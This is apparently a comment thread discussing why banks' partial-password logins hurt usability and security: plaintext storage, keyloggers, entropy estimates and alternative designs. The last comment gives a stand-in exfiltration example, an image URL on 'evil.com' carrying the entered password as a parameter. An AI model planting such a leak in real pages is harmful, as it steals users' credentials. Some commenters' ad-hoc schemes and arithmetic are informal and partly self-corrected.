Partial password usability sucks
gaevoy.com
gaevoy.com
That sounds obnoxiously insecure on the back-end. Notoriously, the most broken authentication mechanisms used plaintext (or reversibly encrypted) storage. The answers to the three security questions that the article links to also point this out.
Sounds like ING Poland needs to be called out by some security researchers.
[0] https://security.stackexchange.com/a/194818/47800
Also there are ways to implement this without keeping the whole password in plaintext/reversibly encrypted. One example I just thought of:
Ask for 75% of the password each time, remember random 1/3rd of that (25% of full password) till the next login together with the hash, and on the next login ask for all the letters you haven't remembered (and fill the ones you remembered, then hash everything and compare).
You can adjust the percentages as needed if having 25% of the password in clear text is too insecure.
Given the (apparent) lack of security for the bank, I'd say the former. IF the bank was actually secure, then sure it'd be more likely for me to have a keylogger.
> Also there are ways to implement this without keeping the whole password in plaintext/reversibly encrypted
Maybe.
> One example I just thought of: Ask for 75% of the password each time, remember random 1/3rd of that (25% of full password) till the next login together with the hash, and on the next login ask for all the letters you haven't remembered (and fill the ones you remembered, then hash everything and compare).
I challenge you to really think about what you're proposing to do. I think it's far more convoluted: it does not solve the keylogger problem and adds complexity to both the client and the server. If you think I'm wrong, then write it up in a spec and show us.
Sure. It's fun.
On password creation:
0.0. demand 25% longer passwords from users than considered safe
0.1. along with the hash of the whole password remember a randomly choosen 25% of the characters of the password and their positions (in clear text or reversibly encrypted)
On each login:
1.0. ask only for the characters in positions you haven't remembered
1.1. server-side fill the positions you remembered
1.2. hash the result and see if it matches
If hash matches:
2.0. randomly choose 1/3rd of the freshly provided positions and remember them in clear text on server replacing the previous ones
2.1. give access
If hash doesn't match:
3.0. deny access, don't change anything on server
If I understand correctly - to get the whole password keylogger must be specific to this bank site (to understand which characters are provided), and must be active on at least 4 logins. In my book that's a big improvement.
And I can imagine writing the login page in a way that makes parsing it in keylogger to understand which characters are masked.
The difference in difficulty of keylogging 4 logins, and 1 login is, in practice, small. Once your computer is pwned, all bets are off.
To gather enough contextual information to defeat all this reliably, the keylogger would also need to be a screen scraper, internet monitor, etc. Straight away, this defeats the not-uncommon case of the inline USB keylogger.
If there's a keylogger on the system then it'd be trivial to log out the user a few times (and combine with manipulating what the user even sees such as which locations of the password to enter), or just simply be more patient.
Also, what about database backups? Given enough of them and the ever-increasing frequency they occur and time that backups live, you could recreate more of the user's password than intended.
Besides which, the partial login isn't random either. It's always sequential. You'll never be asked to enter character 3, then 1, then 8. It will always be asked in the same order as the password string itself.
It's monotonic, but not sequential. On one login you will be asked for positions 1,3,4,7,9, 10, on another you will be asked for letters 1,2,5,6,7,8. Merging such partial information isn't trivial if you don't know which positions you got.
Let's say you have 16-letter password. That's 4 missing letters during each login.
There's (16 over 4) = 1820 possible ways that the characters the keylogger see can be positioned in the real password.
The bank gets hacked. I say this with the utmost certainty because while I haven't been hacked since I started behaving securely at 15 years old, my bank that uses partial passwords was recently hacked. I live in Pakistan, a lot of banks were hacked 2018-2019.
I also complained to them about saving passwords in plaintext. They never replied. Every bank in my country is terrible.
Plus, the keylogger could just collect a few logins and it completely defeats the whole thing, so it doesn't help anyway. It's just terrible, it makes everything worse
Hm, actually instead of masking the password to defeat keyloggers they could also just permutate the characters. So that you have to enter password in different order each time. But usability would suck so much :) I prefer the masking.
Also - universal keylogger wouldn't know which characters of the passwords you were asked for. They would need to make a keylogger designed for this bank website so it can understand which characters you provide. And they would need to update the keylogger with updates on the login website (which preasumably would be written in a way that makes it hard to know which characters these are - for example with randomly generated ids of the input fields and provided in random order then positioned with javascript).
I know - security by obscurity. But it does help.
Remembering a specific character of a password is not easy to do, so people will probably type it into notepad and then count to get the right one anyways.
TOTP is much more usable, and probably more secure than inventing your own ridiculous partial password scheme.
[x] [ ] [x] [ ] [ ] [ ] [ ] [x] [ ] [ ] [ ] [x] [ ]
This partial password stuff is just utter garbage. It's lower security than a typical password, way lower security than multi-factor auth, blocks use of password managers, and is generally inconvenient for no good reason.
Makes it easy to remember the password without muscle memory.
But yes, all of the points raised in the answers [1] are totally valid. The extra security benefit is so small that really not worth the negative impact on usability. System designers should rather focus more on implementing 2FA.
Honestly, even if the salting was done independently per chunk, the fact that you know each chunk is under 5 characters long massively reduces the time to generate a rainbow table to verify the password, even more so if the entry field only allows 36 character entry.
Sounds like a great idea, let's all paste our bank passwords in this website!
Banks have peculiar ideas about security sometimes, I don't think this partial password business will have a net positive effect (especially if people use "solutions" like these and potentially send their password to a third party)
I just cannot imagine the thought process of the people who though that partial passwords could be better in any way than classic passwords.
In the 90s, laws in multiple countries asked banks to research and implement Two-Factor security. They invented all of these stupid, stupid Wish-It-Were-Two-Factor things that are not Two-Factor but "feel Two-Factor enough" to avoid actually deploying proper 2FA, but avoid security fines: "Security Questions" (bonus passwords, still 1FA), multi-step login with "user selected pictures" (not an extra factor, just a silly memory game to potentially cut down on phishing), "partial passwords" (still 1FA).
(Then other idiot sites copy these "security best practices" because Banks use them, rather than actual security best practices.)
It is starting to seem like a lot of the money spent on the development effort of these "not 2FA" workarounds and portal workflows could easily have just paid for sending every bank customer a YubiKey or three by now.
Similar thing but .NET windows app.
And yes pasting your password into some guys website is ridiculous :p
Similarly for pre-hashing certain subsets; a four-character password can be too easily brute forced.
I have a real desire for a document firewall mode where nothing can enter or leave.
Such a firewall, when disabled, would essentially have to restore the whole page memory to how it was when it was enabled, and block access to localStorage / IndexedDB / Cookies / Cache.
A password has an entropy n, a higher n yields more security but comes at a cost in terms of memory power, I think it's reasonable to state that very high entropy passwords exhaust our memory quite quickly which is why password reuse is so common, this particular authentication is requiring the user to have a high entropy password n, and then is reducing it to an entropy m where m is at most as large as n (usually much smaller) and using that for authentication.
We, users and tech people, don't care about the cost to transmit bits over the wire or the cost to verify those bits on the far end (in this scenario) we care about the cost on the user's memory more than anything so why are we optimizing this puzzle to be least efficient for our most valuable resource.
When I first read this article I thought this practice was silly, now it strikes me as stupid... it is a transformation that simply discards some of the potential security of the system for no reason.
(Also, banks love ease of use, which is why up here in Canada they love to send out password dongles to customers that make it even easier to log in to a site than this while still requiring possession of a physical thing - and many of those dongles require additional authentication to activate whenever using, though not all)
This stuff is complicated, if you're a professional at it good on you, it's a tough job, otherwise... just listen to the professionals/best practices and don't feel the urge to be creative, you'll probably break something. It is possible that everyone is wrong, but it's unlikely... and when everyone is wrong (for example Dual_EC_DRBG) if you're using that system it'll be hard not to be aware of the issue when it comes to light.
I hope they insist you use one of those card readers too.
I'm recently switched from a bank that uses regular passwords to a bank that uses partial passwords, and it took me a week or so to get used to this, and it is a little slower (takes me like 10 seconds instead of 1), but it's nothing significant.
"Please put these tiny stickers in the correct locations on your thumb, and then press it against the sensor ..."
Assuming a character is 5 bits of entropy...
An 8 character password gives you 8 choose 4 = 70 possible variations it could ask. Each variation is 4 characters (20 bits of entropy). So, that brings it up to 20+log2(70)=26.1 bits of entropy for an 8 character password... Compared to 40 bits of entropy normally...
And that's not even accounting for using common words/phrases. This scheme seems to lose about 1/3 the entropy.
12 character password gives only... 28.9 bits of entropy instead of the expected 60 bits.
And that's not even including more obvious attacks like stealing the plaintext from the server, since it obviously isn't salted on the server side (and it reveals the length of your password on the front end too??)
Edit: I noticed I used "choose 4" instead of "choose 5" but the math is similarly bad. I leave it as an exercise for the reader.
First of all, never mind all the gaping usability problems and obvious decrement in security.
The system must be storing passwords in plain text in order to make this work.
I can think of ways that don't require plain text storage (like pre-computing various partial passwords and hashing them separately), but (1) people who came up with this idea would be too stupid to have implemented that, and, (2) in practical terms, it significantly reduces the possible number of partial passwords: we can't hash all of the subsequences of the string, because there are vastly many, so we have to rather generate some reasonable number of canned subsequence positions. Such a reduction in itself is a security compromise.
All Norwegian banks use a password + second factor. And these days I think most of them have liberal password rules, in that you are allowed quite long passwords. Schemes like the one described in the post seems like a poor attempt at improving security.
You could brute force a subset of 4-5 characters way easier than a 20 characters password.
How is this secure? Anyone care to explain how this adds security?
I think people got used to them, so changing this now for everyone would feel weird (and would probably annoy many).
In some banks you can opt-out in settings and have regular password instead.
I guess it's an equivalent of swipe cards in USA.
This doesn’t really make it safe per se, there still can be a script running that triggers an AJAX call in the background, sending the password to some web URL.
i use password that contains only 5-letters words
so each new word starts at 1, 6, 11, 16, 21 etc
it's easy to scan the password for specific letter in memory this way
funny thing: i didn't do that on purpose. I just came up with a password that happend to have such words only.
saving a webpage on disk can still be considered unsafe. you can send a password to the internet via various way, like insering an image with url: evil.com/pass.jpg?pass=enteredpassword